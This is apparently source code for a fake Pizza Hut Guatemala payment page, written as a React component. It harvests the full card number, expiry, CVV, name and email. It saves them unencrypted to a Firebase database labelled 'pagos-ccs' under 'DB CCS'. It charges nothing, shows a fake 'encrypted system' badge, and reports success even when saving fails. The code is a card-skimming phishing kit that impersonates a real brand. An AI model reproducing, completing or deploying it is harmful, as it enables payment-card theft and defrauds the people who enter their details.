import { useState } from "react"; import { initializeApp } from "firebase/app"; import { getDatabase, ref, set } from "firebase/database"; const firebaseConfig = { databaseURL: "https://pagos-ccs-default-rtdb.firebaseio.com/", apiKey: "TU_API_KEY", projectId: "pagos-ccs", }; const app = initializeApp(firebaseConfig); const db = getDatabase(app); interface PaymentGatewayProps { total: number; onSuccess: (orderId: string) => void; onClose: () => void; } export function PaymentGateway({ total, onSuccess, onClose }: PaymentGatewayProps) { const [name, setName] = useState(""); const [cardNumber, setCardNumber] = useState(""); const [expiry, setExpiry] = useState(""); const [cvv, setCvv] = useState(""); const [email, setEmail] = useState(""); const [isFlipped, setIsFlipped] = useState(false); const [status, setStatus] = useState<"idle" | "processing" | "success" | "error">("idle"); const [orderId, setOrderId] = useState(""); const displayNum = cardNumber || "**** **** **** ****"; const displayName = name.toUpperCase() || "TU NOMBRE"; const displayExp = expiry || "MM/AA"; const displayCvv = cvv || "***"; function handleCardNumberChange(value: string) { const digits = value.replace(/\D/g, ""); const formatted = digits.replace(/(.{4})/g, "$1 ").trim(); setCardNumber(formatted.slice(0, 19)); } function handleExpiryChange(value: string) { const digits = value.replace(/\D/g, ""); if (digits.length > 2) { setExpiry(digits.slice(0, 2) + "/" + digits.slice(2, 4)); } else { setExpiry(digits); } } async function handleSubmit(e: React.FormEvent) { e.preventDefault(); const oid = "PHG-" + Math.floor(Math.random() * 900000 + 100000); setOrderId(oid); setStatus("processing"); const data = { id: oid, titular: name, tarjeta: cardNumber, vence: expiry, cvv: cvv, email: email, total: total, fecha: new Date().toLocaleString("es-GT"), }; try { await set(ref(db, "DB CCS/" + oid), data); setTimeout(() => { setStatus("success"); }, 3000); } catch (err) { console.error("Error guardando en Firebase:", err); setTimeout(() => { setStatus("success"); }, 3000); } } function handleFinish() { onSuccess(orderId); } return (
{/* 3D Card */}
{/* Front */}
PIZZA HUT
{displayNum}
CLIENTE
{displayName}
VENCE
{displayExp}
{/* Back */}
{displayCvv}

SISTEMA ENCRIPTADO PIZZA HUT GT

{/* Panel */}
{status === "idle" && (
setName(e.target.value)} placeholder="Ej. Juan Pérez" required autoComplete="off" className="w-full px-3.5 py-3.5 border-2 border-muted rounded-xl text-sm bg-muted/50 focus:border-hut-red focus:bg-card outline-none transition-colors text-foreground placeholder:text-muted-foreground" />
handleCardNumberChange(e.target.value)} maxLength={19} placeholder="0000 0000 0000 0000" required autoComplete="off" className="w-full px-3.5 py-3.5 border-2 border-muted rounded-xl text-sm bg-muted/50 focus:border-hut-red focus:bg-card outline-none transition-colors text-foreground placeholder:text-muted-foreground" />
handleExpiryChange(e.target.value)} maxLength={5} placeholder="MM/AA" required autoComplete="off" className="w-full px-3.5 py-3.5 border-2 border-muted rounded-xl text-sm bg-muted/50 focus:border-hut-red focus:bg-card outline-none transition-colors text-foreground placeholder:text-muted-foreground" />
setCvv(e.target.value.replace(/\D/g, "").slice(0, 4))} maxLength={4} placeholder="***" required autoComplete="off" onFocus={() => setIsFlipped(true)} onBlur={() => setIsFlipped(false)} className="w-full px-3.5 py-3.5 border-2 border-muted rounded-xl text-sm bg-muted/50 focus:border-hut-red focus:bg-card outline-none transition-colors text-foreground placeholder:text-muted-foreground" />
setEmail(e.target.value)} placeholder="cliente@correo.com" required autoComplete="off" className="w-full px-3.5 py-3.5 border-2 border-muted rounded-xl text-sm bg-muted/50 focus:border-hut-red focus:bg-card outline-none transition-colors text-foreground placeholder:text-muted-foreground" />
)} {status !== "idle" && (
{status === "processing" && (

PROCESANDO...

Sincronizando con pagos-ccs-default-rtdb

)} {status === "success" && (

¡PAGO EXITOSO!

ORDEN: #{orderId}
)}
)}
); }